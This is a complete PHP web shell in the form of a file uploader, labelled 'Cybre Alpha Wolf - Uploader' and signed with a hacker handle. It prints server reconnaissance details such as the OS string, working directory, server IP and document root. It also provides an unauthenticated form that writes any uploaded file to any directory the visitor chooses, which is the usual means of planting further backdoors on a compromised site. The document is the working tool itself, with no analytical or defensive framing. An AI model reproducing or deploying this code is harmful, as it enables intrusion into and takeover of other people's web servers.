<!DOCTYPE html>
<html>
<head>
<title>Cybre Alpha Wolf - Uploader</title>
</head>
<body>
<center>
<h1>@XYZRAZ - XYZ</h1>
<?php
echo '<b>System Info:</b> ' . php_uname() . '<br>';
echo '<b>Current Directory:</b> ' . getcwd() . '<br>';
echo '<b>PHP Version:</b> ' . phpversion() . '<br>';
echo '<b>Server Software:</b> ' . $_SERVER['SERVER_SOFTWARE'] . '<br>';
echo '<b>Server IP:</b> ' . $_SERVER['SERVER_ADDR'] . '<br>';
echo '<b>Client IP:</b> ' . $_SERVER['REMOTE_ADDR'] . '<br>';
echo '<b>Document Root:</b> ' . $_SERVER['DOCUMENT_ROOT'] . '<br>';
echo '<b>Server Protocol:</b> ' . $_SERVER['SERVER_PROTOCOL'] . '<br>';
echo '<b>Request Method:</b> ' . $_SERVER['REQUEST_METHOD'] . '<br>';
echo '<br>';
?>
<form method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<input type="file" name="files[]" size="20" multiple><br><br>
<label for="directory">Upload Directory:</label>
<input type="text" name="directory" id="directory" value="<?php echo getcwd(); ?>" placeholder="Enter directory path"><br><br>
<input name="_upl" type="submit" id="_upl" value="Upload">
</form>
<?php
if ($_FILES) {
if (!empty($_FILES['files']['name'][0])) {
$uploadDir = isset($_POST['directory']) ? rtrim($_POST['directory'], '/') . '/' : '';
foreach ($_FILES['files']['name'] as $key => $name) {
$targetPath = $uploadDir . basename($name);
if (move_uploaded_file($_FILES['files']['tmp_name'][$key], $targetPath)) {
$relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', realpath($targetPath));
echo "<b>File Uploaded: </b><a href='" . $relativePath . "' target='_blank'>" . $relativePath . "</a><br>";
} else {
echo "<b>Upload Failed for file: </b>" . $name . "<br>";
}
}
} else {
echo "<b>No files selected for upload.</b><br>";
}
}
?>
<br><br>
<img src="https://g.top4top.io/p_3265rq99r1.png" alt="Logo" width="400" height="400">
</center>
</body>
</html>